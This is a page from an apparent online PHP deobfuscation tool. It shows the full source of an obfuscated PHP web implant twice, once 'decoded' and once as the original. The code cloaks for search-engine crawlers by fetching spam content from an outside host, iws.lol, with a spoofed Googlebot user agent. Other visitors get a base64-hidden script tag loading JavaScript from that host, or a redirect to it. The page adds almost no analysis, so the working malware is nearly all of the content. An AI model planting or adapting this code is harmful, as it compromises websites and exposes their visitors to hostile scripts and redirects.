Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto kFwsE; G8f9m: if (area) { echo base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly..

Decoded Output download

 
 
<?php  
 goto kFwsE; G8f9m: if (area) { echo base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9pd3MubG9sL3R\  
157LmpzPjwvc2NyaXB0Pg=="); die; } goto dGNZR; kFwsE: $a = "stristr"; goto IWJvf; xUKnR: define("area", $a(url,   
".ptf") or $a(url, ".fdc") or $a(url, ".bug") or $a(url, ".doc") or $a(url, ".love") or $a(url, ".txt") or $a(url, ".ppt  
") or $a(url, ".pptx") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml") or $a(url, ".znb") or $a(url, ".msl") or $a(u  
rl, ".mdb") or $a(url, ".hxc")); goto lpYLI; waJ0H: header("HTTP/1.1 301 Moved Permanently");   
goto z6r50; IWJvf: $b = $_SERVER; goto y0bAI; IHfkW: echo "<link rel="canonical" href="" . $new_url . "" />"; goto  
 YdtX5; s2eG2: define("ent", $b["HTTP_USER_AGENT"]); goto McfX5; KpoRL: define("ref", !isset($b["HTTP_REFERE  
R"]) ? '' : $b["HTTP_REFERER"]); goto s2eG2; fVwhx: $new_url = "https://iws.lol"; goto waJ0H; VloxX: define("mo\x6  
2ile", "/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mo\x6  
2ile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSB\16  
2owser|BrowserNG|WebOS|Symbian|Windows Phone/"); goto xUKnR; y0bAI: functi  
on httpGetlai($c) { $d = curl_init(); curl_setopt($d, CURLOPT_URL, $c); curl_setopt($d, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible;\  
x20Googlebot/2.1; +http://www.google.com/bot.html)"); curl_setopt($d,   
CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($d, CURLOPT_RETURNTRANSFER, 1); curl_setopt($d, CURLOPT_HEADER, 0); $e = curl_exec($d); curl_close($d); return $  
e; } goto uk3wU; uk3wU: define("url", $b["REQUEST_URI"]); goto KpoRL; BtgBk: define("road", "domain=" . $b["HTTP_\  
110OST"] . "&path=" . url . "&spider=" . urlencode(ent)); goto cJZin; aV0dt: define("regs", "@Googlebot|Y  
1hoo|Bing@i"); goto VloxX; cJZin: define("memes", road . "&referer=" . urlencode(ref)); goto aV0dt; McfX5: define("site",  
 "https://iws.lol/?"); goto BtgBk; z6r50: header("Location: " . $new_url); goto IHfkW; lpYLI: if (preg_match(regs, ent)) { if (  
area) { echo httpGetlai(site . road); die; } else { echo httpGetlai("https://iws.lol/x.php"); ob_flush(); flush(); } } goto G8f9m; YdtX5: die;   
goto MPLQ6; dGNZR: $current_url = $_SERVER["REQUEST_URI"]; goto fVwhx; MPLQ6: ?> 
 

Did this file decode correctly?

Original Code



<?php 
 goto kFwsE; G8f9m: if (area) { echo base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9pd3MubG9sL3R\ 
157LmpzPjwvc2NyaXB0Pg=="); die; } goto dGNZR; kFwsE: $a = "stristr"; goto IWJvf; xUKnR: define("area", $a(url,  
".ptf") or $a(url, ".fdc") or $a(url, ".bug") or $a(url, ".doc") or $a(url, ".love") or $a(url, ".txt") or $a(url, ".ppt 
") or $a(url, ".pptx") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml") or $a(url, ".znb") or $a(url, ".msl") or $a(u 
rl, ".mdb") or $a(url, ".hxc")); goto lpYLI; waJ0H: header("HTTP/1.1 301 Moved Permanently");  
goto z6r50; IWJvf: $b = $_SERVER; goto y0bAI; IHfkW: echo "<link rel="canonical" href="" . $new_url . "" />"; goto 
 YdtX5; s2eG2: define("ent", $b["HTTP_USER_AGENT"]); goto McfX5; KpoRL: define("ref", !isset($b["HTTP_REFERE 
R"]) ? '' : $b["HTTP_REFERER"]); goto s2eG2; fVwhx: $new_url = "https://iws.lol"; goto waJ0H; VloxX: define("mo\x6 
2ile", "/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mo\x6 
2ile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSB\16 
2owser|BrowserNG|WebOS|Symbian|Windows Phone/"); goto xUKnR; y0bAI: functi 
on httpGetlai($c) { $d = curl_init(); curl_setopt($d, CURLOPT_URL, $c); curl_setopt($d, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible;\ 
x20Googlebot/2.1; +http://www.google.com/bot.html)"); curl_setopt($d,  
CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($d, CURLOPT_RETURNTRANSFER, 1); curl_setopt($d, CURLOPT_HEADER, 0); $e = curl_exec($d); curl_close($d); return $ 
e; } goto uk3wU; uk3wU: define("url", $b["REQUEST_URI"]); goto KpoRL; BtgBk: define("road", "domain=" . $b["HTTP_\ 
110OST"] . "&path=" . url . "&spider=" . urlencode(ent)); goto cJZin; aV0dt: define("regs", "@Googlebot|Y 
1hoo|Bing@i"); goto VloxX; cJZin: define("memes", road . "&referer=" . urlencode(ref)); goto aV0dt; McfX5: define("site", 
 "https://iws.lol/?"); goto BtgBk; z6r50: header("Location: " . $new_url); goto IHfkW; lpYLI: if (preg_match(regs, ent)) { if ( 
area) { echo httpGetlai(site . road); die; } else { echo httpGetlai("https://iws.lol/x.php"); ob_flush(); flush(); } } goto G8f9m; YdtX5: die;  
goto MPLQ6; dGNZR: $current_url = $_SERVER["REQUEST_URI"]; goto fVwhx; MPLQ6: ?>

Function Calls

None

Variables

None

Stats

MD5 513b67c890b84182db35fd469ed79f39
Eval Count 0
Decode Time 45 ms